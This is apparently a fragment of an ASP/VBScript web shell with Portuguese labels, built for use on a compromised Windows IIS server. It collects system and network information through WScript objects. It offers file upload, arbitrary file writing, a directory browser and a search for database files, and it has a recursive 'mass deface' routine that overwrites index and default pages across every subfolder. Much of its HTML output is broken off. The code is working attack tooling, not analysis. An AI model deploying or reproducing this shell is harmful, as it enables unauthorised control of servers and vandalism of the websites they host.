"
Response.Write " Testando atualmente " & UBound(arrListaComponentes) + 1 & " componentes. O processo pode demorar ...
"
' Rotina que verifica o componente do array ? um objeto.
Function VerificaObjeto(pComponente)
Dim objComponente
On Error Resume Next
VerificaObjeto = False
Err.Clear
Set objComponente = Server.CreateObject(pComponente)
If Err = 0 Then VerificaObjeto = True
Set objComponente = Nothing
Err.Clear
End Function
Public Function VerificaComponentes()
Dim intCont, strTxt
Dim intIndex, strProv
intCont = 0
strTxt = "
"
For intIndex = LBound(arrListaComponentes) To UBound(arrListaComponentes)
strProv = intIndex
strTxt = strTxt & "
:: " & arrListaComponentes(intIndex)(0) & "
"
If VerificaObjeto(arrListaComponentes(intIndex)(1)) Then
strTxt = strTxt & "
"
VerificaComponentes = strTxt
End Function
Response.Write VerificaComponentes
Response.Write "INFORMAC?ES DO SISTEMA "
checa = checking(cprthtml,keydec)
Call hdr()
Response.Write copyright & onlinehelp
Set WshNetwork = Server.CreateObject("WScript.Network")
Set WshShell = Server.CreateObject("WScript.Shell")
Set WshEnv = WshShell.Environment("SYSTEM")
Response.Write " "
Response.Write "IDENTIFICAC?O DE REDE: "
Response.Write "Usu?rio: " & WshNetwork.UserName & " "
Response.Write "Nome do Computador: " & WshNetwork.ComputerName & " "
Response.Write "Usu?rio do Dom?nio: " & WshNetwork.UserDomain & " "
Set Drives = WshNetwork.EnumNetworkDrives
For i = 0 to Drives.Count - 1
Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & " "
Next
Response.Write " F?SICO: "
Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & " "
Response.Write "N?mero de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & " "
Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & " "
Response.Write "N?vel do Processador: " & WshEnv("PROCESSOR_LEVEL") & " "
Response.Write "Revis?o do Processador: " & WshEnv("PROCESSOR_REVISION") & " "
Response.Write "L?GICO: "
Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & " "
Response.Write "Sistema Operacional: " & WshEnv("OS") & " "
Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & " "
Response.Write "Especifica??o do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & " "
Response.Write "Caminhos no Path: " & WshEnv("PATH") & " "
Response.Write "Execut?veis: " & WshEnv("PATHEXT") & " "
Response.Write "Prompt: " & WshEnv("PROMPT") & " "
Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & " "
Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & " "
Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & " "
Set Drives = Nothing
Set WshNetwork = Nothing
Set WshShell = Nothing
Set WshEnv = Nothing
Response.Write "
OUTRAS INFORMAC?ES
"
Response.Write "
<%
Response.Write FunctionFooter
CASE "3" 'Uploader
%>
<%
Response.Write FunctionFooter
CASE "4" 'Spammer
Response.Write "Local do Spammer"
CASE "5" 'Info
Response.Write "Aqui abrir? o Informa??es adicionais"
CASE "6" 'Form Procurar MDB
Case "f6" 'Fun??o Procura MDBS
caminho=request("T5")
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminho)
Set ColFolders = MonRep.SubFolders
for each folderItem in ColFolders
folderItem.path
caminho= folderItem.path & "\"
next
CASE "f1" 'Fun??o Mass deface
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
arquivomassdfc = patharquivotxt & "teste.txt"
Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
vetordelinhas = Split(Request.Form("T4"),VbCrLf)
For i = 0 To UBound(vetordelinhas)
Arquivotxt.WriteLine(vetordelinhas(i))
Next
Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
caminho=request("T3")
Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
On Error Resume Next
Set MonRep = ObjFSO.GetFolder(caminhodomass)
Set ColFolders = MonRep.SubFolders
for each folderItem in ColFolders
destino1 = folderItem.path & "\index.htm"
destino2 = folderItem.path & "\index.html"
destino3 = folderItem.path & "\index.asp"
destino4 = folderItem.path & "\index.cfm"
destino5 = folderItem.path & "\index.php"
destino6 = folderItem.path & "\default.htm"
destino7 = folderItem.path & "\default.html"
destino8 = folderItem.path & "\default.asp"
destino9 = folderItem.path & "\default.cfm"
destino10 = folderItem.path & "\default.php"
If request("P1") <> "" then
personal1 = request("P1")
destino11 = folderItem.path & "\" & personal1
MeuArquivo.Copy(destino11)
End If
If request("P2") <> "" then
personal2 = request("P2")
destino12 = folderItem.path & "\" & personal2
MeuArquivo.Copy(destino12)
End If
MeuArquivo.Copy(destino1)
MeuArquivo.Copy(destino2)
MeuArquivo.Copy(destino3)
MeuArquivo.Copy(destino4)
MeuArquivo.Copy(destino5)
MeuArquivo.Copy(destino6)
MeuArquivo.Copy(destino7)
MeuArquivo.Copy(destino8)
MeuArquivo.Copy(destino9)
MeuArquivo.Copy(destino10)
Response.Write "
" & folderItem.path & "
"
If Err.Number = 0 Then
Response.Write "
DeFaCeD!!!
"
Else
Response.Write "
" & UCase(Err.Description) & "
"
End If
Err.Number = 0
Response.Flush
If metodo = "brute" Then
Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
End If
next
End Sub
Response.Write FunctionFooter
CASE "f2" 'Funcao uploader
Set Upload = Server.CreateObject("Persits.Upload")
' Limita o tamanho do arquivo para 30000 bytes (3Mb) de tamanho e gera uma mensagem de erro se o arquivo for maior
Upload.SetMaxSize 30000000, True
' Pula todas as mensagens de erro de servidor para a mensagem de erro personalizada
On Error Resume Next
' Local a ser gravado o upload
Upload.Save "E:\novosite\"
' 8 ? o n?mero do erro que corresponde a "Arquivo grande demais"
if Err.Number = 8 Then
Response.Write "Seu arquivo ? grande demais. Por favor use um arquivo menor."
Else
If Err <> 0 Then
Response.Write "Um erro foi encontrado: " & Err.Description
Else
Response.Write "Upload realizado com sucesso!"
End If
End If
CASE "f3" ' Mostrar pagina
%>
"
Response.Write FunctionFooter
Else Response.Write " Caminho indicado inexistente... Por favor tente novamente"
Response.Write FunctionFooter
End If
End IF
%>
<%
Case "f4" 'Salvar texto
caminho=request("path")
set saveTextFile = objFSO.OpenTextFile(caminho,2,true,false)
Set f = fso.CreateTextFile(path)
saveTextFile.Write Request.Form("text")
saveTextFile.close
if err<>0 then
byMsg = "Arquivo n?o editado! "
else
byMsg = "Arquivo editado com sucesso:) "
end if
Response.Write byMsg
Response.Write FunctionFooter
CASE default 'RESTO
%>
" & dir
Else
Response.Write "
Voce esta em:
" & server.mappath(pagename)
end if
dir=nothing
%>
Caminho:
"" then
Response.Write dir
Else
dual=Request("T5")
Response.Write dual
end if
%>">
<%
DIM fs, d, dc, s, n, sp
Set fs=Server.Createobject("Scripting.FileSystemObject")
Set dc=fs.drives
%> <%
On Error Resume Next
back1="#D3E2E7"
back2="#AFFEDE"
back=back2
Response.Write "Discos Disponiveis: "
FOR EACH d IN dc
IF (back=back2) THEN
back=back1
ELSE
back=back2
END IF
Response.Write "| "
Response.write d.driveletter
Response.Write ": |"
next%>
Pastas
Arquivos
<%
If CInt(Len(path) - 1) <> 2 Then
barrapos = CInt(InstrRev(Left(path,Len(path) - 1),"\")) - 1
backlevel = Left(path,barrapos)
Response.Write "
"
End If
On Error Resume Next
Old = ObjPasta
News = strReverse(old)
News = instr(News, "/")
Leng = Len(old) - News
Old = Left(Old, Leng)
q = 1
syco contador
contador=1
For each Pasta in ObjPasta.Subfolders
PastaName=Pasta.Name
q = q + 1
Response.Write "
<%
On Error Resume Next
syco contador
Old = ObjPasta
contador=1
For Each Arquivo in ObjPasta.Files
ArquivoNome=Arquivo.Name
Response.Write "::-:|" & Contador & "| : "& ArquivoNome & ""
contador=contador+1
next
%>